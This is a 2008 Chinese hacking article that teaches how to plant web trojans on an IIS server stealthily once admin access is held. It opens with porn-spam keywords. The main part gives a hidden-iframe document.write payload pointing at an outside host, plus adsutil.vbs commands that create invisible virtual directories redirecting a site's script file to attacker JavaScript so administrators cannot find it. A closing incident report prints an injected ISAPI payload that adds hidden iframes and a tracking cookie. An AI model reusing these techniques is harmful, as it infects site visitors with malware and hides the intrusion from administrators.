欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

最新的無權限掛馬方式

 更新時間:2008年04月19日 20:58:22   作者:  
我寫這文章并不是教大家怎么跑去掛馬啊,掛馬是不對的!不過有的時候真的很想做些讓人覺得痛快的事情,因為我就碰到很多的管理員,你跟他說服務器有問題吧!他不信,你改些東西警告他吧,他比你還勤快,你一改他馬上覆蓋回去,讓人真的很郁悶。
還有在國外的一些機器上,什么權限都拿到了也不知道他怎么弄的,什么都不讓寫,好不容易寫個文件沒一會又改回去了,真的讓人很!#$%%#%^#%^,據說就有一種軟件能監(jiān)視重要的文件,一旦發(fā)現更改就會給恢復過去,譬如他監(jiān)視web目錄的話我們就不能更改他網站的任何內容了。不過,看了很多大蝦的文章,自己也略微研究了下,也總算琢磨點東西出來,不用寫任何文件就可以實現將別人的頁面涂改和大家經常傳說的掛馬等等后果,這里就給大家介紹下,那些只知道勤快的管理員也要小心了!

大家知道,我們?yōu)g覽網站的時候都是服務器將信息處理成Html方式再返回給我們,而我們要實現的是當客戶訪問的時候能改變他們?yōu)g覽器的內容,使他隱蔽的執(zhí)行我們的東西如木馬等等。比較常見的方式就是引入Frame,設置屬性讓他在頁面不可見,或者不怕死的用javascript跳轉,比較高級點的會利用原代碼里的Html元素如script標記或者frame標記,然后在這些標記里引入的其他文件或者頁面里做手腳,或者更改某些要在主頁上顯示的數據庫內容,如修改數據庫里的公告實現掛馬。但是這些都需要在服務器的原代碼里加東西或者修改網站的內容,無論是跨站還是直接修改原代碼,這都是極其容易被發(fā)現的事,遇到一個勤快的管理員,你的東西就在服務器上呆不了多久了!還有就是如果一些頁面是不可寫的我們也很郁悶,所以有必要尋找一種更隱蔽和更安全的掛馬方式解決上面的問題!

我們首先去Iis管理器里看看吧!選中一個頁面看看他的屬性如圖一。呵呵,有個資源重定向吧!如果我們將這個頁面選擇重定向到我們已經控制的一個頁面那么當瀏覽器請求這個頁面的時候將會轉而去訪問我們定義好的那個頁面,如果這個頁面是網頁木馬呢?很顯然,訪問者就會被掛馬!這是很簡單的方式,只需要在 IIs里更改頁面的重定向就可以了!任何能接觸到IIS管理器的人都能輕易做到!但是這樣還有問題??!如果管理員發(fā)現頁面總被跳轉,在檢查網站的文件以及用備份等手段恢復還是沒有解決問題的時候,他肯定會去IIS里看!一不小心看到主頁面的屬性就會發(fā)現哪里存在問題然后就可以改回去了!

那么我們繼續(xù)看看有沒有更隱藏的方法!借助以前掛馬者的方法,既然主頁面很容易被發(fā)現,那么去看看主頁面里的Html標記吧!如果發(fā)現有調用其他的頁面就好辦了!譬如里面主頁里有這樣的一個標記:

<script src=include/mm2.js></script>

那么我們就有辦法了,去修改include/mms2.js的屬性吧!如圖二,轉到我們的某個頁面,內容當然要能在script標記里解釋的了,如:

document.write("<8))e style=display:none; src=http://jnclovesw.com width=0 height=0></8))e>");

這樣就可以引入我們的頁面了!當然最好還是先實現他JS的功能!那樣才夠隱蔽!現在管理員會發(fā)現首頁沒有更改,去IIs 里看首頁的屬性也沒有更改,甚至主機上的任何www文件都沒有修改,他會很郁悶吧!呵呵!如果他只是把以前的網站備份恢復回去也是沒有辦法把頁面改回去的!IIs文件那么多他總不能一個一個看屬性吧!這里順便提個問題,就是你選擇重定向過去的文件必須是能被引用他的html標記能解釋的,否則是沒有效果的!譬如一個<img src=1.jpg>你把1.jpg重定向到我們的木馬頁面是沒有用的,因為木馬頁面沒有被當成Html解析,而是送到img標簽里當成圖片了!我想到的能利用的標記也就是script還有frame,至于Css,我想也是能利用的,但是利用方法我還沒有找到!也不知道我分析得對不對,歡迎大家指教?。?
讓我們繼續(xù)吧!假設萬一你的管理員夠厲害或者夠勤快,他發(fā)現了你在mm2.js上面做了手腳,他就會從IIs里面把他恢復過去!我們的夢想又破滅了!有沒有更隱蔽的方法呢?讓管理員在IIs里面都找不到呢?答案是肯定的!大家一定記得很久前的那個IIS配置漏洞,可以建立一個看不見的虛擬目錄,然后在里面建立后門!我們也可以借來利用哦!看看IIS配置漏洞的原理是說建立一個沒有物理目錄的虛擬目錄,這樣就會在IIs里不可見,然后就可以在這個目錄里做些小動作了!這里我們先建立一個不可見的虛擬目錄,如果主頁里調用了include文件夾下的js文件,我們就建立include目錄吧!這可以借助IIS 的腳本實現,其中adsutil.vbs腳本是在IIs的安裝目錄如C:InetpubAdminScripts下的,是控制IIS行為的一個腳本,我們用到的命令如下:

cscript adsutil.vbs Create W3SVC/1/Root/www/include "IIsWebVirtualDir"

這樣就會建立了個IIs里不可見的虛擬目錄,因為沒有設置路徑所以不會顯示哦!然后再在這個目錄下建立一個名字叫做mm2.js的虛擬目錄,呵呵!居然建立虛擬目錄是可以用到.等特殊字符的:

cscript adsutil.vbs Create W3SVC/1/Root/www/include/mm2.js "IIsWebVirtualDir"

這樣就存在一個include/mm2.js的虛擬目錄了!想到什么了?是不是跟主頁里調用的那個文件名字一直的哦!我們繼續(xù)往下做!

cscript adsutil.vbs set W3SVC/1/Root/www/include/mm2.js/httpredirect "http://jnclovesw.com/mm1.js"

這樣是更改mm2.js虛擬目錄的重定向特性,如圖三。注意其中的W3SVC/1/Root/www/代表IIs下的第一個web服務器的www虛擬目錄,大家不清楚的話可以用adsutil.vbs的enum參數去查詢自己需要更改的網站,其他的操作可以打開 adsutil.vbs腳本的幫助看看!這樣操作之后就設置了虛擬目錄的重定向特性,現在試著在主頁里調用include/mm2.js,你猜猜返回的是 mm2.js的內容還是我們的mm1.js的內容呢?答案是mm1.js,如圖四,并且物理文件還是存在的!這也許是IIS的特性吧!他首先處理用戶的請求,并且虛擬目錄優(yōu)先于物理文件!然后我們去IIS里看看有不有include虛擬目錄吧!如圖五,沒有吧!呵呵!這樣我們就成功的饒過權限的限制和管理員的檢測!將我們的木馬掛到了對方的網站上,并且除非對方重做IIs或者刪除我們隱藏的虛擬目錄,否則他是很難清除我們的木馬的!

文章很簡單,關鍵是IIS腳本的命令和對IIs的一些認識,這種掛馬方式適合于得到管理員權限之后掛馬,對付那些只是勤快的管理員還是很有用的!大家以后發(fā)現網站存在問題記得要用這個腳本查看下有不有問題哦!或者干脆把IIS的設置也備份吧!遇到問題把IIs的設置也還原,呵呵!


2.全服務器被掛馬 網頁源文件中卻找不到掛馬代碼
一臺服務器 幾乎所有網站打開網頁 甚至HTML網頁 都出現了

<8))e src="http://xxxdfsfd/web.htm" height=0 width=0></8))e>

這種樣式的代碼 一般在頭部 部分殺毒軟件打開會報毒

打開HTML或ASP PHP頁面 在源碼中怎么也找不到這段代碼

起初會懷疑是JS 找了半天還是沒有發(fā)現 連新建的HTML頁面 也會有這段代碼~

仔細尋找 問題應該在IIS上 打開IIS 重新啟動一次 在主IIS上 右鍵屬性 ISAPI 發(fā)現一個ISAPI擴展 沒見過的

路徑為:c:windowshelpwanps.dll ISAP加載正常 綠色狀態(tài)

取消 重新啟動IIS 所有代碼消失

加載項包含了三個文件:


wanps.ini內容為:


Cookie=GAG5=ABCDEFG
Redirector=C:windowshelpwanps.txt

wanps.txt內容為:


<body>
<8))e src="http://xxx.com/web.htm" height=0 width=0></8))e>
<script language="javascript">
<!--
var expires = new Date();
expires.setTime(expires.getTime() + 5 * 24* 60 * 60 * 1000);
document.cookie="GAG5=ABCDEFG;expires="+expires.toGMTString();
-->
</script>
</body> 

相關文章

最新評論